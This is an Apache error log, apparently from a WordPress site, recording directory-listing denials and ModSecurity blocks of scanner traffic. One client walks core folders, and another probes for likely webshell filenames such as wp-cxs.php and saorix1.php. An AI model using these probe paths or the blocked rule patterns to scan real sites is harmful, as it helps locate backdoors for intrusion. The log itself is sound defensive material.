[Thu Mar 26 10:25:19.186719 2026] [autoindex:error] [pid 31778:tid 31799] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:19.347417 2026] [autoindex:error] [pid 31778:tid 31810] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:19.507032 2026] [autoindex:error] [pid 31778:tid 31794] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:24.160805 2026] [autoindex:error] [pid 31778:tid 31806] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:25.514553 2026] [autoindex:error] [pid 31778:tid 31807] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:25.847079 2026] [autoindex:error] [pid 31778:tid 31796] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:26.016931 2026] [autoindex:error] [pid 31778:tid 31800] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:26.205356 2026] [autoindex:error] [pid 31778:tid 31808] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:26.390837 2026] [autoindex:error] [pid 31778:tid 31799] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:26.558092 2026] [autoindex:error] [pid 31778:tid 31810] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:26.728083 2026] [autoindex:error] [pid 31778:tid 31794] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:26.918799 2026] [autoindex:error] [pid 31778:tid 31812] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:30.862369 2026] [autoindex:error] [pid 31778:tid 31793] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:31.023439 2026] [autoindex:error] [pid 31778:tid 31811] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:31.380397 2026] [autoindex:error] [pid 31778:tid 31816] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:31.541899 2026] [autoindex:error] [pid 31778:tid 31798] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:31.706462 2026] [autoindex:error] [pid 31778:tid 31802] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:31.868728 2026] [autoindex:error] [pid 31778:tid 31806] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:32.029637 2026] [autoindex:error] [pid 31778:tid 31809] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:32.192991 2026] [autoindex:error] [pid 31778:tid 31795] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:32.363614 2026] [autoindex:error] [pid 31778:tid 31807] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:32.536777 2026] [autoindex:error] [pid 31778:tid 31815] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:32.697433 2026] [autoindex:error] [pid 31778:tid 31796] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:32.858721 2026] [autoindex:error] [pid 31778:tid 31800] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:36.727650 2026] [autoindex:error] [pid 31778:tid 31804] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:36.889171 2026] [autoindex:error] [pid 31778:tid 31805] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:41.871357 2026] [:error] [pid 31778:tid 31808] [client 20.78.152.237:9553] [client 20.78.152.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Utility/"] [unique_id "acSZJQ3kybI2o-xasmB5LgAAAc8"]
[Thu Mar 26 10:25:42.368017 2026] [:error] [pid 19818:tid 19837] [client 20.78.152.237:7072] [client 20.78.152.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Utility/"] [unique_id "acSZJszaSnm3d1BeM5XW4AAAANE"]
[Thu Mar 26 10:25:42.859937 2026] [:error] [pid 19818:tid 19844] [client 20.78.152.237:11721] [client 20.78.152.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Utility/"] [unique_id "acSZJszaSnm3d1BeM5XW5QAAANg"]
[Thu Mar 26 10:25:43.381531 2026] [:error] [pid 19818:tid 19835] [client 20.78.152.237:11958] [client 20.78.152.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Utility/"] [unique_id "acSZJ8zaSnm3d1BeM5XW6AAAAM8"]
[Thu Mar 26 14:44:39.596972 2026] [:error] [pid 19818:tid 19834] [client 43.133.14.237:34884] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acTV18zaSnm3d1BeM5WA7wAAAM4"]
[Thu Mar 26 15:11:35.559079 2026] [:error] [pid 19712:tid 19792] [client 43.155.26.193:48838] [client 43.155.26.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acTcJ9WhKhRNqm23vFMHugAAAJA"]
[Thu Mar 26 15:17:26.869124 2026] [:error] [pid 19818:tid 19844] [client 111.172.249.49:37455] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acTdhszaSnm3d1BeM5WVwgAAANg"]
[Thu Mar 26 17:00:01.998139 2026] [:error] [pid 31717:tid 31744] [client 68.221.186.27:37392] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acT1kb-SCF7YDISDX4_QqAAAAZY"]
[Thu Mar 26 17:00:03.657507 2026] [:error] [pid 19710:tid 19722] [client 68.221.186.27:43493] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acT1kwVEWP8Ar68Njk7xXQAAAAA"]
[Thu Mar 26 17:00:04.247400 2026] [:error] [pid 31717:tid 31734] [client 68.221.186.27:9906] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acT1lL-SCF7YDISDX4_QqQAAAYw"]
[Thu Mar 26 17:00:05.075503 2026] [:error] [pid 31670:tid 31678] [client 68.221.186.27:44070] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zcsu.php"] [unique_id "acT1lTXVthXxCnWjOTRMswAAAUY"]
[Thu Mar 26 17:00:05.972672 2026] [:error] [pid 31670:tid 31676] [client 68.221.186.27:44058] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acT1lTXVthXxCnWjOTRMuAAAAUQ"]
[Thu Mar 26 17:00:06.738475 2026] [:error] [pid 31778:tid 31809] [client 68.221.186.27:10738] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acT1lg3kybI2o-xasmDhTwAAAdA"]
[Thu Mar 26 17:00:08.612589 2026] [:error] [pid 31670:tid 31696] [client 68.221.186.27:14753] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acT1mDXVthXxCnWjOTRMvgAAAVg"]
[Thu Mar 26 17:00:10.874983 2026] [:error] [pid 60829:tid 60832] [client 68.221.186.27:14395] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acT1mvTdjHKeZokybaSl5gAAAQE"]
[Thu Mar 26 17:00:13.241026 2026] [:error] [pid 60829:tid 60846] [client 68.221.186.27:27967] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acT1nfTdjHKeZokybaSl6AAAAQ8"]
[Thu Mar 26 17:00:14.688645 2026] [:error] [pid 19712:tid 19796] [client 68.221.186.27:47304] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acT1ntWhKhRNqm23vFMRmQAAAJQ"]
[Thu Mar 26 17:00:19.243413 2026] [:error] [pid 31670:tid 31677] [client 68.221.186.27:27920] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acT1ozXVthXxCnWjOTRM9AAAAUU"]
[Thu Mar 26 17:00:19.995820 2026] [:error] [pid 31670:tid 31693] [client 68.221.186.27:16469] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acT1ozXVthXxCnWjOTRM-AAAAVU"]
[Thu Mar 26 17:00:21.336558 2026] [:error] [pid 31670:tid 31691] [client 68.221.186.27:44047] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acT1pTXVthXxCnWjOTRM_wAAAVM"]
[Thu Mar 26 17:00:22.337176 2026] [:error] [pid 19818:tid 19840] [client 68.221.186.27:29449] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acT1pszaSnm3d1BeM5XO5wAAANQ"]
[Thu Mar 26 17:00:23.590305 2026] [:error] [pid 31780:tid 31822] [client 68.221.186.27:10705] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acT1p5JDwZsy5O4ZXEh4RQAAAgI"]
[Thu Mar 26 17:00:25.966088 2026] [:error] [pid 31670:tid 31691] [client 68.221.186.27:14382] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acT1qTXVthXxCnWjOTRNDwAAAVM"]
[Thu Mar 26 17:00:28.419499 2026] [:error] [pid 60829:tid 60837] [client 68.221.186.27:14721] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acT1rPTdjHKeZokybaSl_wAAAQY"]
[Thu Mar 26 17:00:29.317419 2026] [:error] [pid 19818:tid 19831] [client 68.221.186.27:10713] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acT1rczaSnm3d1BeM5XO6gAAAMs"]
[Thu Mar 26 17:00:31.362959 2026] [:error] [pid 31778:tid 31797] [client 68.221.186.27:33214] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acT1rw3kybI2o-xasmDhZQAAAcQ"]
[Thu Mar 26 17:00:32.660418 2026] [:error] [pid 19711:tid 19761] [client 68.221.186.27:30171] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acT1sGj3l1y81GYfluSEmAAAAEw"]
[Thu Mar 26 17:00:33.399716 2026] [:error] [pid 60829:tid 60832] [client 68.221.186.27:44666] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acT1sfTdjHKeZokybaSmBgAAAQE"]
[Thu Mar 26 17:00:34.409154 2026] [:error] [pid 60829:tid 60836] [client 68.221.186.27:50954] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acT1svTdjHKeZokybaSmCgAAAQU"]
[Thu Mar 26 17:00:35.703477 2026] [:error] [pid 31780:tid 31838] [client 68.221.186.27:10696] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acT1s5JDwZsy5O4ZXEh4TgAAAhE"]
